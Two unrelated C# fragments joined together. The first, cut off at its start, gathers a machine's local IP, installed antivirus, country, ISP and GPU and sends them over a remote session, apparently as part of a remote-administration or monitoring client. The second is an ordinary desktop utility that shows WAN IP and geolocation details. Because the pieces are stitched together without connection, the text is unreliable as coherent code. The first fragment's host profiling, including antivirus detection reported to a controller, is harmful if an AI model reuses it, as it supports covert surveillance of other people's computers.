SystemInfoItem() { ItemName = "LAN IP", Value = SystemInfoHelper.GetLocalIPV4() }); infos.Add(new SystemInfoItem() { ItemName = "安全软件", Value = SystemInfoHelper.GetAntivirus() }); infos.Add(new SystemInfoItem() { ItemName = "国家", Value = GeoLocationHelper.GeoInfo.Country }); infos.Add(new SystemInfoItem() { ItemName = "ISP", Value = GeoLocationHelper.GeoInfo.Isp }); infos.Add(new SystemInfoItem() { ItemName = "GPU", Value = SystemInfoHelper.GetGpuName() }); var sysInfos = new SystemInfoPack(); sysInfos.SystemInfos = infos.ToArray(); SendTo(CurrentSession, MessageHead.C_SYSTEM_SYSTEMINFO, sysInfos); }); }
/// <summary> /// Sraw wan info. /// </summary> /// <param name="ip">if is null return current ip info.</param> void getWanInfo(string ip) { toolStripStatusLabelWoring.Text = "Working"; this.Invoke((MethodInvoker) delegate { Refresh(); }); GeoLocationHelper geoip = new GeoLocationHelper(); geoip.Initialize(ip); string country = geoip.GeoInfo.CountryCode; if (country == null)//No country found { country = "xy"; } else { country = country.ToLower(); } string[] internal_names = new string[] { "as", "do", "in", "is" }; if (internal_names.Contains(country)) { country = "_" + country; } pictureBox1.Image = (Image)WAN_IP_Notifier.Properties.Resources.ResourceManager.GetObject(country); if (geoip.GeoInfo.Status != "success") { //labelStatus.Text = "Error"; labelStatus.Invoke((MethodInvoker) delegate { labelStatus.Text = "Error"; labelStatus.ForeColor = Color.Red; }); labelAS.Invoke((MethodInvoker) delegate { labelAS.Text = ""; }); labelCity.Invoke((MethodInvoker) delegate { labelCity.Text = ""; }); labelCountry.Invoke((MethodInvoker) delegate { labelCountry.Text = ""; }); labelIP.Invoke((MethodInvoker) delegate { labelIP.Text = ""; }); labelIsp.Invoke((MethodInvoker) delegate { labelIsp.Text = ""; }); labelOrganization.Invoke((MethodInvoker) delegate { labelOrganization.Text = ""; }); labelRegion.Invoke((MethodInvoker) delegate { labelRegion.Text = ""; }); labelRegionName.Invoke((MethodInvoker) delegate { labelRegionName.Text = ""; }); labelTimeZone.Invoke((MethodInvoker) delegate { labelTimeZone.Text = ""; }); labelZip.Invoke((MethodInvoker) delegate { labelZip.Text = ""; }); notifyIcon1.ShowBalloonTip(10, "Error", "Error in get wan IP", ToolTipIcon.Error); } else { labelStatus.Invoke((MethodInvoker) delegate { labelStatus.Text = geoip.GeoInfo.Status; labelStatus.ForeColor = Color.Green; }); labelAS.Invoke((MethodInvoker) delegate { labelAS.Text = geoip.GeoInfo.As; }); labelCity.Invoke((MethodInvoker) delegate { labelCity.Text = geoip.GeoInfo.City; }); labelCountry.Invoke((MethodInvoker) delegate { labelCountry.Text = geoip.GeoInfo.Country + " (" + geoip.GeoInfo.CountryCode + ")"; }); labelIP.Invoke((MethodInvoker) delegate { labelIP.Text = geoip.GeoInfo.Ip; }); labelIsp.Invoke((MethodInvoker) delegate { labelIsp.Text = geoip.GeoInfo.Isp; }); labelOrganization.Invoke((MethodInvoker) delegate { labelOrganization.Text = geoip.GeoInfo.Org; }); labelRegion.Invoke((MethodInvoker) delegate { labelRegion.Text = geoip.GeoInfo.Region; }); labelRegionName.Invoke((MethodInvoker) delegate { labelRegionName.Text = geoip.GeoInfo.RegionName; }); labelTimeZone.Invoke((MethodInvoker) delegate { labelTimeZone.Text = geoip.GeoInfo.Timezone; }); labelZip.Invoke((MethodInvoker) delegate { labelZip.Text = geoip.GeoInfo.Zip; }); toolStripStatusLabel1.Text = "Last update: " + DateTime.Now.ToString(); if (ip == "")//if is local ip { if (prev_ip != geoip.GeoInfo.Ip) { notifyIcon1.ShowBalloonTip(20, "WAN ip changed", String.Format("New Wan IP is: {0} ({1})", geoip.GeoInfo.Ip, geoip.GeoInfo.Country), ToolTipIcon.Info); notifyIcon1.Text = prev_ip = geoip.GeoInfo.Ip; } } } toolStripStatusLabelWoring.Text = "Idle"; // Refresh(); }